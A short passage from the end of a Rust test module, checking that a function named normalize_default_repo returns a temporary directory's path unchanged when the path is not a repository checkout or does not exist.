14029 let explicit = dir.path().join("not-a-checkout");
14030 std::fs::create_dir_all(&explicit).expect("create dir");
14031 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14032
14033 let missing = dir.path().join("does-not-exist-at-all");
14034 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14035 }
14036}